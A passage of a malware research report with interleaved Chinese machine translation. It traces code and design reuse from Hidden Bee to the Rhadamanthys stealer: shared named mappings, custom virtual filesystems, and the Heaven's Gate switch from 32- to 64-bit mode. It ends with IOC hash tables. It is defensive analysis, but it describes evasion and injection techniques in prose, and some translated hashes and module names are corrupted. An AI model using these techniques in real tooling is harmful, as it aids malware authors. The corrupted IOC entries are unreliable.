The custom formats that we described here have clear similarities to Hidden Bee. But that is not the only thing these two malware families have in common. We can clearly see that the design, and even fragments of the code, are reused.
我们在这里描述的自定义格式与隐藏的蜜蜂有明显的相似之处。但这并不是这两个恶意软件家族的唯一共同点。我们可以清楚地看到,设计,甚至代码片段,都被重用了。

Data sharing via named mapping
通过命名映射共享数据

Hidden Bee, as well as Rhadamanthys, consists of multiple modules that can run in different processes. Sometimes, they need to share data from one process to another. For this purpose, the author decided to use a shared memory area that is accessed by different processes via named mapping.
Hidden Bee和Rhadamanthys由多个模块组成,可以在不同的进程中运行。有时,他们需要将数据从一个进程共享到另一个进程。为此,作者决定使用由不同进程通过命名映射访问的共享内存区域。

Example from Hidden Bee:
隐藏蜜蜂的例子:

FROM HIDDEN BEE TO RHADAMANTHYS – THE EVOLUTION OF CUSTOM EXECUTABLE FORMATS
Figure 60: Hidden Bee creating named mapping to store the data.

We can see a similar use of named mapping in Rhadamanthys. The malware may need to start a new process where it can inject its module. However, some data from the current process must be forwarded there. To do so, a named mapping is created. The data is entered and is retrieved from within the next process:
我们可以在Rhadamanthys中看到命名映射的类似用法。恶意软件可能需要启动一个新进程,在该进程中可以注入其模块。但是,当前流程中的某些数据必须转发到那里。为此,将创建一个命名映射。输入数据并从下一个进程中检索:

Figure 61: Rhadamanthys creating and filling named mapping before
starting a new infected process.
Figure 61: Rhadamanthys creating and filling named mapping before starting a new infected process.
图 61:Rhadamanthys 在启动新的受感染进程之前创建和填充命名映射。

Those shared memory pages contain a variety of content such as configuration, encryption keys, checksums of the functions that are loaded by additional modules, etc. It is also a space where the virtual filesystem can be mounted, that is, the package in a custom format with various files, including executable modules. The modules are retrieved by their names or paths (depending on the specific format’s characteristics).
这些共享内存页包含各种内容,例如配置、加密密钥、附加模块加载的函数的校验和等。它也是一个可以挂载虚拟文件系统的空间,即带有各种文件(包括可执行模块)的自定义格式的包。模块按其名称或路径进行检索(取决于特定格式的特征)。

Retrieving components from virtual filesystems
从虚拟文件系统检索组件

In articles from 2019 about Hidden Bee [8] [9], a glimpse into the virtual filesystems and the embedded components was given. We can find there familiar-looking paths: /bin/amd64/preload/bin/amd4/coredll.bin, etc.
在 2019 年关于 Hidden Bee [ 8] [ 9] 的文章中,简要介绍了虚拟文件系统和嵌入式组件。我们可以在那里找到熟悉的路径: /bin/amd64/preload 、、 /bin/amd4/coredll.bin 等。

FROM HIDDEN BEE TO RHADAMANTHYS – THE EVOLUTION OF CUSTOM EXECUTABLE FORMATS
Figure 62: Screenshot from Hidden Bee loading the modules: “preload” and “coredll.bin”. Source: [8]
图 62:来自 Hidden Bee 加载模块的屏幕截图:“preload”和“coredll.bin”。来源: [ 8]

Interestingly, the same paths occur in Rhadamanthys in an unchanged form. Just like in Hidden Bee, they are used to reference the components from the virtual file system:

Figure 63: Loading of the modules: “preload” and “coredll.bin”
(Rhadamanthys)
Figure 63: Loading of the modules: “preload” and “coredll.bin” (Rhadamanthys)

Hidden Bee, as well as Rhadamanthys, uses diverse formats for the virtual filesystems. As it was noted during the Hidden Bee analysis [8], the author based this part on ROMFS. However, over time, the structure diverged significantly from its predecessor and is fully custom in its current form. There are, however, some artifacts that lead us to conclude that the file systems used by Rhadamanthys are simply the next step in the evolution of the ones used in Hidden Bee. The most obvious similarity is the magic: !Rex:

FROM HIDDEN BEE TO RHADAMANTHYS – THE EVOLUTION OF CUSTOM EXECUTABLE FORMATS
Figure 64: The buffer is checked to verify that it follows the expected format, and if it starts from the !Rex magic (Rhadamanthys)

Hidden Bee was known for using formats with very similar names of packages, such as !rbx!rcx, and !rdx, and for exactly the same purposes.

FROM HIDDEN BEE TO RHADAMANTHYS – THE EVOLUTION OF CUSTOM EXECUTABLE FORMATS
Figure 65: Example from Hidden Bee – checking the !rbx package marker. Source [8]
图 65:来自 Hidden Bee 的示例 – 检查 !rbx 包标记。来源 [ 8]

Heaven’s Gate and loading 64-bit modules from 32-bit
天堂之门和从 64 位加载 32 位模块

The initial executable of Rhadamanthys, as well as of Hidden Bee, is 32-bit. However, the further modules may be 64-bit. That means the malware has to find a way to deploy them.
Rhadamanthys和Hidden Bee的初始可执行文件是32位的。但是,其他模块可能是 64 位的。这意味着恶意软件必须找到一种方法来部署它们。

Loading 64-bit modules from a 32-bit process is not typically supported. Therefore, the executable needs to use a technique that is not officially documented but well known in malware development circles: Heaven’s Gate (more about this technique here).
通常不支持从 32 位进程加载 64 位模块。因此,可执行文件需要使用一种未正式记录但在恶意软件开发圈中众所周知的技术:天堂之门(有关此技术的更多信息 这里).

Let’s have a look at how a 64-bit custom module is loaded in Rhadamanthys:
让我们来看看 64 位自定义模块是如何加载到 Rhadamanthys 中的:

Figure 66: Rhadamanthys Stage 2 component loading a 64-bit module
“unhook.bin”
Figure 66: Rhadamanthys Stage 2 component loading a 64-bit module “unhook.bin”
图 66:加载 64 位模块的 Rhadamanthys 第 2 阶段组件“解钩.bin”

If the system is recognized as 64-bit, a new 64-bit module is loaded from the package. The module is fetched by name. Next, a memory for it is allocated, and it is copied there, section by section.
如果系统被识别为 64 位,则会从包中加载一个新的 64 位模块。模块按名称提取。接下来,为它分配一个内存,并在那里逐节复制。

The assembly fragment illustrates how the Heaven’s Gate is implemented:
程序集片段说明了天堂之门是如何实现的:

FROM HIDDEN BEE TO RHADAMANTHYS – THE EVOLUTION OF CUSTOM EXECUTABLE FORMATS
Figure 67: Heaven’s Gate in Rhadamanthys
图67:拉达曼提斯的天堂之门

The malware pushes on the stack the value 0x33 and then the next line’s address. When the far return is called, the execution returns to the next address but prefixed with the segment 0x33, which causes the switch to the 64-bit mode. This means that all further instructions will now be interpreted as 64-bit. The loading of the custom module continues in 64-bit mode. As we can’t switch the code interpretation directly in IDA, let’s see how it looks in PE-bear:
恶意软件将值推送到堆栈0x33,然后推送下一行的地址。调用远返回时,执行将返回到下一个地址,但以段0x33为前缀,这会导致切换到 64 位模式。这意味着所有进一步的指令现在将被解释为 64 位。自定义模块的加载在 64 位模式下继续。由于我们不能直接在 IDA 中切换代码解释,让我们看看它在 PE-bear 中的样子:

Figure 68: Fragment of the 64-bit code in the 32-bit application
(Rhadamanthys), executed after the Heaven’s Gate has been called.
Figure 68: Fragment of the 64-bit code in the 32-bit application (Rhadamanthys), executed after the Heaven’s Gate has been called.
图 68:32 位应用程序 (Rhadamanthys) 中的 64 位代码片段,在调用天堂之门后执行。

The module, which is 64-bit, will continue its own loading.
该模块为 64 位,将继续自行加载。

Similar building blocks to load the 64-bit module from a 32-bit process can be found in Hidden Bee. In the below case, a shellcode shim.bin is first fetched from the virtual filesystem in the !rdx format. A shared section is created, where the malware enters the needed data. Note that inputting the checksums is analogous to the case from Rhadamanthys, shown in Figure 61.
从 32 位进程加载 64 位模块的类似构建块可以在 Hidden Bee 中找到。在下面的例子中,首先以以下 !rdx 格式从虚拟文件系统中获取shellcode shim.bin 。将创建一个共享部分,恶意软件在其中输入所需的数据。请注意,输入校验和类似于 Rhadamanthys 的情况,如图 61 所示。

FROM HIDDEN BEE TO RHADAMANTHYS – THE EVOLUTION OF CUSTOM EXECUTABLE FORMATS
Figure 69: Hidden Bee’s core.bin (32-bit version) injecting shim.bin. The application creates a new process and then passes data to it via the named mapped section.
图 69:Hidden Bee 的核心.bin(32 位版本)注入填充码.bin。应用程序创建一个新进程,然后通过命名映射部分将数据传递给它。

Finally, the execution is switched to 64-bit mode via Heaven’s Gate, analogously to the previous case:
最后,通过天堂之门将执行切换到 64 位模式,类似于前一种情况:

FROM HIDDEN BEE TO RHADAMANTHYS – THE EVOLUTION OF CUSTOM EXECUTABLE FORMATS
Figure 70: Heaven’s Gate in the module “core.bin” of Hidden Bee
图70:隐藏蜜蜂模块“核心.bin”中的天堂之门

Conclusion 结论

There are many parallels between Hidden Bee and Rhadamanthys which strongly hint that the recently released stealer isn’t brand new but instead is a continuation of the author’s earlier work. The consistency of the design also suggests that the development is continued by the same author/authors as Hidden Bee and not merely inspired by or based on an obtained code.
Hidden Bee和Rhadamanthys之间有许多相似之处,这强烈暗示最近发布的偷窃者不是全新的,而是作者早期工作的延续。设计的一致性也表明,开发是由与Hidden Bee相同的作者继续进行的,而不仅仅是受到获得的代码的启发或基于获得的代码。

Considering how quickly Rhadamanthys is updated, it is clear that we are dealing with a highly professional actor that keeps innovating and constantly improving the product, as well as incorporating learned techniques and PoCs. We can expect that the custom formats used for the executables, as well as for the virtual filesystems, will continue to evolve.
考虑到 Rhadamanthys 的更新速度,很明显,我们正在与一位高度专业的参与者打交道,他不断创新和不断改进产品,并结合学到的技术和 PoC。我们可以预期,用于可执行文件以及虚拟文件系统的自定义格式将继续发展。

Looking at the trends, we believe that Rhadamanthys is here to stay, so it is worth keeping up with the evolution of those formats, as converting them to PE makes the analysis process much easier and faster.
从趋势来看,我们相信 Rhadamanthys 将继续存在,因此值得跟上这些格式的发展,因为它们转换为 PE 使分析过程变得更加容易和快捷。

Our converters are available at:
我们的转换器可在以下位置获得:

Check Point customers remain protected from the threats described in this research.
Check Point 客户仍然受到保护,免受本研究中描述的威胁。

Check Point’s Threat Emulation provides comprehensive coverage of attack tactics, file types, and operating systems and has developed and deployed a signature to detect and protect customers against threats described in this research.
Check Point 的威胁仿真全面覆盖了攻击策略、文件类型和操作系统,并开发并部署了特征码来检测和保护客户免受本研究中描述的威胁。

Check Point’s Harmony Endpoint provides comprehensive endpoint protection at the highest security level, crucial to avoid security breaches and data compromise. Behavioral Guard protections were developed and deployed to protect customers against threats described in this research.
Check Point 的 Harmony 端点在最高安全级别提供全面的端点保护,这对于避免安全漏洞和数据泄露至关重要。开发和部署行为防护是为了保护客户免受本研究中描述的威胁。

TE/Harmony Endpoint protections:
TE/和谐端点保护:

  • InfoStealer.Wins.Rhadamanthys.C/D

IOC/Analyzed samples IOC/分析样品

ID Hash 散 列 Module type 模块类型 Format 格式
#1.1 39e60dbcfa3401c2568f8ef27cf97a83d16fdbd43ecf61c3be565ee4e7b9092e Packed sample (distributed in a campaign)
包装样品(在广告系列中分发)
PE
#1.2 bd694e981db5fba281c306dc622a1c5ee0dd02efc29ef792a2100989042f0158 Stage 1 (unpacked from #1.1); RS/HS variant
第 1 阶段(从 #1.1 解压缩);RS/HS 变体
PE
#1.3 3ecb1f99328a188d1369eb491338788b9ddeba6c038f0c14de275ee7ab96694b Stage 2: main module 第二阶段:主模块 RS
#1.4 3aa34d44946b4405cd6fc85c735ae2b405d597a5ab018a6c46177f4e1b86d11a Stage 3: main stealer component
第 3 阶段:主要窃取器组件
HS
#2.1 301cafc22505f558744bb9ed11d17e2b0ebd07baa3a0f59d1650d119ede4ceeb Stage 1 (version 0.4.1); RS/HS variant
阶段 1(版本 0.4.1);RS/HS 变体
PE
#2.2 f336cd910b9cfbe13a5d94fcdbac1be9c901a2dfd7ac0da82fbb9e8a096ac212 Stage 2 (from #2.1): main module
第 2 阶段(从 #2.1 开始):主模块
RS
#2.3 e69f284430cd491d97b017f7132ad46fef3d814694b29bd15aaa07d206fa4001 Stage 2 submodule: “unhook.bin”
第 2 阶段子模块:“解开.bin”
HS
#3.1 1eb7e20cc13f622bd6834ef333b8c44d22068263b68519a54adc99af5b1e6d34 Packed sample (distributed in a campaign)
包装样品(在广告系列中分发)
PE
#3.2 a13376875d3b492eb818c5629afd3f97883be2a5154fa861e7879d5f770e21d4 Stage 1 (unpacked from #3.1); XS variant
第 1 阶段(从 #3.1 解压缩);XS变体
PE
#3.3 0c0753affec66ea02d4e93ced63f95e6c535dc7d7afb7fcd7e75a49764fbef0d Stage 2 (main module, from #3.2)
第 2 阶段(主模块,来自 #3.2)
XS
#4.1 0f0760eb43d1a3ed16b4842b25674e4d6d1239766243bac1d4c19341bb37d5b8 Packed sample (distributed in a campaign)
包装样品(在广告系列中分发)
PE
#4.2 b542b29e51e01cec685110991acf28937ad894ba30dc8e044ef66bb8acbed210 Stage 1 (unpacked from #4.1); XS variant
第 1 阶段(从 #4.1 解压缩);XS变体
PE
#4.3 5af4507b1ae510b21d8c64e1e6fb518bf8d63ff03156eb0406b1193e10308302 Stage 2: main module (v0.4.9)
第 2 阶段:主模块 (v0.4.9)
XS
#4.4 90290bed8745f9e2ca37538f5f47bf71b5beb53b29027390e18e8b285b764f55
90290床8745f9e2ca37538f5f47bf71b5beb53b29027390e18e8b285b764f55
Stage 2 submodule: “netclient.bin”
第 2 阶段子模块:“网络客户端.bin”
XS
#4.4 eca3b3fa9fc6158eae8c978ab888966ab561f39c905a316ef31d5613f1018124
eca3b3fa9fc6158eae8c978ab88966ab561f39c905a316ef31d5613f1018124
Stage 2 submodule: “dt.bin”
第 2 阶段子模块:“dt.bin”
XS
#4.5 50ebe2ac91a2f832bab7afce93cf2fc252a3694ee4e3829a6ccb2786554a3830 Stage 2 submodule: “phexec.bin”
第 2 阶段子模块:“phexec.bin”
XS
#4.6 e65973cfa8ae7fb4305c085c30348aef702fb5fc4118f83c8cdc498ae01e81f7 Stage 2 submodule: “commit.bin”
第 2 阶段子模块:“提交.bin”
XS
#4.7 648cf25ac347e4a37f8e8f837a7866f591da863ce40ce360c243b116dbb0f2b5 Stage 2 submodule: “heur.bin”
第 2 阶段子模块:“heur.bin”
XS
#4.8 31d89c4bba78cab67a791ebc2a829ad1f81d342ad96b47228f2c96038a1ff707 Stage 2 submodule: “proto.bin”
第 2 阶段子模块:“原型.bin”
shellcode 外壳代码
#4.9 9d69149b6b2dd202870ff5ce49b1ef166b628e44da22d63151bd155e52aadee8 Stage 2 submodule: “unhook.bin”
第 2 阶段子模块:“解开.bin”
XS
#5.1 a717bafa929893e64dbd2fc6b38dbeed2efc7308f1bc3e1eaf52dfc8114091ad Stage 1 (original); XS variant
第 1 阶段(原始);XS变体
PE
#6.1 b87c03183b84e3c7ec319d7be7c38862f33d011ff160cb1385aea70046f5a67b Packed sample (distributed in a campaign)
包装样品(在广告系列中分发)
PE
#6.2 158b1f46777461ac9e13216ee136a0c8065c2d3e7cb1f00e6b0ca699f6815498 Stage 1; XS variant 第一阶段;XS变体 PE
#7.1 7de67b4ae3475e1243c80ba446a8502ce25fec327288d81a28be69706b4d9d81 Packed sample (distributed in a campaign)
包装样品(在广告系列中分发)
PE
#8.1 85d104c4584ca1466a816ca3e34b7b555181aa0e8840202e43c2ee2c61b6cb84 Stage 1 (version 0.4.5); XS variant
阶段 1(版本 0.4.5);XS变体
PE
#9.1 a1fce39c4db5f1315d5024b406c0b0fb554e19ff9b6555e46efba1986d6eff2e Stage 1 (version 0.4.6); XS variant
第 1 阶段(版本 0.4.6);XS变体
PE
#9.2 0ca1f5e81c35de6af3e93df7b743f47de9f2791af25020d6a9fafab406edebb2 Stage 2: main module (from #8.1, #9.1)
第 2 阶段:主模块(从 #8.1、#9.1 开始)
XS
#10.1 f0f70c6ba7dcb338794ee0034250f5f98fc6bddea0922495af863421baf4735f Stage 1 (version 0.4.9) 阶段 1(版本 0.4.9) PE
#11.1 9ab214c4e8b022dbc5038ab32c5c00f8b351aecb39b8f63114a8d02b50c0b59b Stage 1 (version 0.4.9) 阶段 1(版本 0.4.9) PE
#11.2 ae30e2f276a49aa4f61066f0eac0b6d35a92a199e164a68a186cba4291798716 Stage 3: main stealer component
第 3 阶段:主要窃取器组件
XS
#11.3 fcb00beaa88f7827999856ba12302086cadbc1252261d64379172f2927a6760e Stage 3 submodule: “KeePassHax.dll”
第 3 阶段子模块:“KeePassHax.dll”
PE
#11.4 40ab8104b734d5666b52a550ed30f69b8a3d554d7ed86d4f658defca80b220fb Stage 3 submodule: “runtime.exe”
第 3 阶段子模块:“运行时.exe”
PE
#11.5 a462783e32dceef3224488d39a67d1a9177e65bd38bc9c534039b10ffab7e7ba
a462783e32DCEF3224488d39a67d1a9177e65bd38bc9c534039b10ffab7e7ba
Stage 3 submodule: “stubmod.bin” (64-bit)
第 3 阶段子模块:“存根.bin”(64 位)
XS
#11.6 2a8b2eca9c5f604478ffc9103136c4720131b0766be041d47898afc80984fd78 Stage 3 submodule: “stubmod.bin” (32-bit)
第 3 阶段子模块:“存根.bin”(32 位)
XS
#11.7 ae30e2f276a49aa4f61066f0eac0b6d35a92a199e164a68a186cba4291798716 Stage 3 submodule: “coredll.bin” (64-bit)
第 3 阶段子模块:“coredll.bin”(64 位)
XS
#11.8 a4fe1633586f7482b655c02c1b7470608a98d8159b7248c05b6d557109aef8d9 Stage 3 submodule: “coredll.bin” (32-bit)
第 3 阶段子模块:“coredll.bin”(32 位)
XS
#11.9 7f96fcddf5bfb361943ef491634ef007800a151c0fcbff46bde81441383f759e Stage 3 submodule: “stubexec.bin” (64-bit)
第 3 阶段子模块:“存根.bin”(64 位)
XS

Reference material 参考资料

Hidden Bee filesystems (containing referenced modules):
隐藏的蜜蜂文件系统(包含引用的模块):

ID Hash 散 列 Module type 模块类型 Format 格式
#6 b828072d354f510e2030ef9cad6f00546b4e06f08230960a103aab0128f20fc3 Hidden Bee filesystem (preloads)
隐藏的蜜蜂文件系统(预加载)
!rdx 
#7 c95bb09de000ba72a45ec63a9b5e46c22b9f1e2c10cc58b4f4d3980c30286c91 Hidden Bee filesystem (miners)
隐藏的蜜蜂文件系统(矿工)
!rdx 

The modules embedded in the filesystems can be retrieved with the help of the decoder: https://github.com/hasherezade/hidden_bee_tools/tree/master/rdx_converter
嵌入在文件系统中的模块可以在解码器的帮助下检索:https://github.com/hasherezade/hidden_bee_tools/tree/master/rdx_converter

Appendix 附录

Other writeups on Rhadamanthys:
关于Rhadamanthys的其他文章:

[1] “Rhadamanthys: The”Everything Bagel” Infostealer”: https://research.checkpoint.com/2023/rhadamanthys-the-everything-bagel-infostealer/
[1] “Rhadamanthys: The 'Everything Bagel' Infostealer”: https://research.checkpoint.com/2023/rhadamanthys-the-everything-bagel-infostealer/

[2] Kaspersky found the link between HiddenBee and Rhadamanthys: https://twitter.com/kaspersky/status/1667018902549692416
[2]卡巴斯基发现了HiddenBee和Rhadamanthys之间的联系: https://twitter.com/kaspersky/status/1667018902549692416

[3] Kaspersky’s crimeware report referencing Rhadamanthys and its similarity to Hidden Bee: https://securelist.com/crimeware-report-uncommon-infection-methods-2/109522/
[3] 卡巴斯基的犯罪软件报告引用了Rhadamanthys及其与Hidden Bee的相似之处:https://securelist.com/crimeware-report-uncommon-infection-methods-2/109522/

[4] ZScaler’s article mentioning the usage of the Hidden Bee formats: https://www.zscaler.com/blogs/security-research/technical-analysis-rhadamanthys-obfuscation-techniques
[4] ZScaler的文章提到了Hidden Bee格式的使用: https://www.zscaler.com/blogs/security-research/technical-analysis-rhadamanthys-obfuscation-techniques

[5] “Dancing With Shellcodes: Analyzing Rhadamanthys Stealer” by Eli Salem: https://elis531989.medium.com/dancing-with-shellcodes-analyzing-rhadamanthys-stealer-3c4986966a88
[5] “Dancing with Shellcodes: Analyze Rhadamanthys Stealer”作者:Eli Salem: https://elis531989.medium.com/dancing-with-shellcodes-analyzing-rhadamanthys-stealer-3c4986966a88

and more: https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys
以及更多: https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys

Writeups on Hidden Bee: 关于隐藏蜜蜂的文章:

[6] https://www.malwarebytes.com/blog/news/2018/07/hidden-bee-miner-delivered-via-improved-drive-by-download-toolkit

[7] https://www.malwarebytes.com/blog/news/2018/08/reversing-malware-in-a-custom-format-hidden-bee-elements

[8] https://www.malwarebytes.com/blog/news/2019/05/hidden-bee-lets-go-down-the-rabbit-hole

[9] https://www.malwarebytes.com/blog/news/2019/08/the-hidden-bee-infection-chain-part-1-the-stegano-pack

and more: https://malpedia.caad.fkie.fraunhofer.de/details/win.hiddenbee
以及更多: https://malpedia.caad.fkie.fraunhofer.de/details/win.hiddenbee

原文始发于hasherezade:FROM HIDDEN BEE TO RHADAMANTHYS – THE EVOLUTION OF CUSTOM EXECUTABLE FORMATS

版权声明:admin 发表于 2023年9月1日 上午9:26。
转载请注明:FROM HIDDEN BEE TO RHADAMANTHYS – THE EVOLUTION OF CUSTOM EXECUTABLE FORMATS | CTF导航

相关文章

暂无评论

暂无评论...